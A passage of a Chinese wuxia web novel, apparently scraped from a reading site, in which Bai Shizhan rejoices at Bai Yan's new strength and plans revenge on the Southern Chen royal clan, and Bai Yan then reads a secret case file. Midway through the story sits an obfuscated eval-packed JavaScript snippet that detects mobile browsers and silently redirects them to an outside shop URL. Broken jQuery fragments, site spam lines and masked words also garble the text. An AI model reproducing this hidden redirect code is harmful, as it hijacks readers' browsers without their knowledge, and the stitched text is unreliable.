天人感应!


    白言竟已不是大宗师巅峰,而是踏入了天人感应的无上强者!


    这可是有着一人灭一国的至强存在!


    “好啊!真是太好了!太好了!”


    “苍天有眼,苍天有眼呐!”


    “哈哈哈哈!!!”


    白世战忽然仰天大笑起来,笑声裹挟雄浑内力,浩浩荡荡的传遍四方。


    他笑得酣畅,笑得癫狂,可眼角却有滚烫的泪水汹涌而出,顺着沟壑纵横的脸滑落。


    六十二年的隐忍,六十二年的煎熬,六十二年的血海深仇压在心头,他曾无数次陷入绝望,以为白家的仇怨终将石沉大海,以为白氏一族的荣光再也无法重现。


    可如今,亲侄孙竟踏入了天人感应之境,成了这世间顶尖的无上强者,白家复仇,终于有了最坚实的依仗!


    随即,白世战猛地双膝跪倒在地,朝着南陈所在的方向,恭恭敬敬地磕了九个响头。


    “爷爷!父亲!母亲!世平!你们看见了吗?”


    “白言成材了!他踏入了天人感应!我们白氏一族有希望了!”


    “我白氏一族的血海深仇,终于有望得报!终有一天,我们白家定能再现往日辉煌,让南陈白氏皇族血债血偿!”


    “你们泉下有知,终于可以瞑目了啊!”


    白世战又哭又笑,状若疯癫,全然没了往日大宗师巅峰的沉稳气度,仪态大失。


    一旁的白破军看得怔怔出神。


    他自小被白世战抚养长大,数十年来,见惯了义父喜怒不形于色、泰山崩于前而面不改色的模样,从未见过他如此失态,如此真情流露。


    同时,他也知晓了有关于白氏一族和南陈白氏皇族的惊天秘闻,才知道义父心中藏着这般沉重的血海深仇,也终于明白,义父为何执意让他在擂台上斩杀白旌鸣,那不仅是擂台间的生死对决,更是白家向仇人的第一次亮剑。


    良久,白世战才缓缓站起身,抹去脸上的泪水,目光灼灼的看向白言:


    “白言,你如今有了这等实力,那报仇之事就简单多了。”


    “如此一来,我先前布下的诸多计划,也不必再那般迂回麻烦了!”


    他恨不得立刻便调兵遣将,直指南陈:


    “我这就回去传令,让九杀内的属下即刻行动,整顿势力,准备起事!”


    白言却抬手轻轻一拦:


    “你先别急,我问你,南陈白氏皇族的总体实力,你究竟摸清了多少?”


    “他们内部有多少位


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    大宗师,是否也有天人感应的强者?”


    “南陈朝堂掌控的兵力有多少,各镇守将军是否皆忠于皇族?”


    “更重要的是,一旦我们起兵反陈,天下间有多少势力会顺势响应,又有多少势力会坐山观虎斗,甚至暗中出手?”


    “螳螂捕蝉,黄雀在后,小心复仇不成,反倒引火烧身,为他人做了嫁衣。”


    白世战闻言,神色猛地一怔,满腔的激动瞬间被浇灭大半,他愣在原地,喃喃道:


    “你说得不错是我太激动了,确实不该如此莽撞。”


    “白氏皇族终究是南陈之主,根基深厚,盘根错节,想消灭他们不可能一蹴而就。”


    白言淡淡道:


    “既然如此,便先沉下心来,稳扎稳打,先拿下九杀再说。”


    “还有你说的那个冥玄暗主,你知道他的藏身之地在哪儿?”


    “当然知道。”


    白世战自信道:


    “我在九杀的几十年可不是白呆的,冥玄那老家伙虽然小心谨慎,但藏身之地早就被我查到了。”


    “那就好。”


    话音落下,白言又问道:


    “九杀在永汤城的分部在哪里?”


    “是分部总坛,不是接任务的据点。”


    “在流风山庄。”


    白世战直言:


    “整个流风山庄,都是九杀在永汤城的分部总坛。”


    “流风山庄?那个有九重塔的流风山庄?”


    白言眉峰微挑,显然也知道此地。


    永汤共有好几座高塔。


    最高塔自然是皇宫里的通天阁,乃是大虞皇室天人老祖的闭关之所。


    不光高度最高,还可以俯瞰整个永汤城。


    占据的位置更是皇城龙脉的九五之地。


    第二高塔是皇宫的珍宝阁,可惜在魔教入侵皇宫那夜被炸毁了。


    第三高的就是流风山庄的九重塔,民间流传九重塔闹鬼,寻常百根本不敢靠近,连武者也很少前往。


    没想到,九杀在永汤城的分部就在这里。


    不过也挺合理的,这种地方确实适合藏人。


    “今天听到的消息太多了,我要回去消化消化。”


    “你也先回去等我消息,等我捋顺了,会去流风山庄找你。”


    再次看了白世战一眼,白言化为一道电光消失不见。


    “白言!白言!”


    白世战还想说些什么,只可惜白言已经彻底消失了踪影。


    “唉”


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    最终只能无奈摇头叹息一声。


    他岂能不明白白言这是还没有完全相信他他观察白言也有一阵子了知道白言行事谨慎滴水不漏。


    虽然他拿出了种种证据但白言依旧对他有所保留。


    “谨慎点也好反正我没有骗他等他查清楚了自然会回来的。”


    白世战收敛笑容变得肃穆冷冽:


    “破军今天你听到的一切.”


    “义父放心孩儿什么也没听见什么也没看见。”


    不等白世战说完白破军就开口说道。


    “很好。”


    白世战满意的点点头:


    “你一个人去永汤吧把尉迟宇寰解决掉然后回九杀。”


    “接下来我们还有更重要的事要做。”


    “孩儿明白!”


    白破军抱剑行了一礼转身大步离去。


    待白破军的身影消失后白世战也不再停留化为一道黑影消失在树林之中。


    刚回到北镇抚司见白言归来任弘跟殷初荷立马迎了上来脸上满是急切。


    “大人你没事吧?”


    “对啊有没有受伤?”


    两人上上下下打量着白言生怕错过隐藏的伤势。


    白言笑了笑:


    “没事别担心。”


    殷初荷又问道:


    “你追上那个戴面具的大宗师了吗?”


    白言微微摇头:


    “没有那人轻功修为极高我追不上。”


    任弘顿时倒吸一口冷气有些难以置信:


    “居然大人都没追上?!”


    他可是知道白言的轻功可以说是独步天下就连郑海瀚的轻功也未必有白言那么高。


    没想到那个大宗师的轻功更高连白言都追不上。


    这简直就是立于不败之地了。


    见白言并无大碍两人也放心了不少任弘有些担忧的开口道:


    “大人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147365|185907||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    如今白旌鸣**我们该怎么办?”


    “白旌鸣毕竟是南陈九皇子


    殷初荷的脸色也不太好看:


    “是啊白旌鸣无论什么理由死在了大虞地界南陈绝对不会善罢甘休说不定南陈还会以此为由向我们大虞开战。”


    她父王就镇守在大虞南境与南陈对峙。


    如果南陈发兵就代表她父王又要上战场了她的哥哥们也要上战场厮杀。


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    战场残酷,刀剑无眼。


    战端一开,就代表要**,而且死的是几万乃至十几万人。


    殷初荷的亲人都在南境,她自然担心。


    白言摇头道:


    “此事自有皇上和大臣们去操心,轮不到我们杞人忧天,我们只需要听从命令行事就可以了。”


    “你们俩带些人,暗中看好白旌鸣的那些护卫和手下,别让他们**。”


    “白旌鸣**,他们罪责难逃,很可能会狗急跳墙,做出些丧失理智的事。”


    殷初荷得意道:


    “放心吧,我早就派人去看着他们了。”


    白言略带惊讶的看向殷初荷:


    “有长进啊,居然知道料敌先机,呵,长大了。”


    殷初荷翻了个白眼:


    “我以前就很聪明的好不好?”


    白言耸了耸肩:


    “随郡主殿下开心。”


    “你这个!”


    殷初荷刚想骂上两句,白言转身就走了,她只能看着白言的背影,气的暗暗跺脚。


    她最讨厌的就是白言这个态度了,显得她像小孩子一样,在无理取闹。


    白言一路来到卷宗室。


    江湖各大门派的历史、隐秘、江湖曾经发生过的大事,在这里都有记载。


    敌国的情报在这里也有留存。


    白言以前没什么事的时候,天天在卷宗室看卷宗,几乎把这里的卷宗都看了一遍。


    不过他看的都是大虞的卷宗,有关敌国的卷宗白言倒是没看过。


    主要是觉得没必要,也用不着。


    但这次,白言却想找一个答案。


    “南陈白氏一族赫赫有名,镇平王更是南陈第一异姓王,镇平王谋反案震动天下,大虞应该也有记载才对。”


    白言来到南陈卷宗的陈列架前,仔细找了找,很快就找到了目标卷宗。


    “就是它了!”


    从架子上取下卷宗,卷宗上写着“南陈镇平王谋反案”八个大字。


    八个字旁边还写着“甲一”两个小字,证明这是甲级一等卷宗,卷宗内记载的乃是绝密信息。


    唯有千户以上的官职才有资格查看。


    打开卷宗,白言一字一句看了下去。


    “大虞庆隆十六年,南**平九年,南陈镇平王谋反,武平帝大怒,命六万玄甲军强攻镇平王府,血战一夜,镇平王府满门皆灭,后下诏,褫夺镇平王爵位,毁去初代镇平王白苓牌位,从此不受香火祭祀”


    卷宗上记载的资料不是很多,终究是异国他乡,就算是大虞锦衣卫也查的不是很详细。


    不过卷宗上记载的和白世战说的大体一致,但白世战说的更详细。


    终究是亲身经历,就算时隔六十二年,白世战对那一夜的场景还历历在目。


    “嗯?”


    白言看到卷宗最后,忽然眉头一皱。


    只见卷宗上写着:


    “镇平王血脉未绝,疑似逃出南陈,潜入大虞,锦衣卫追查到数次南陈暗探,审讯无果,消息自此断绝。”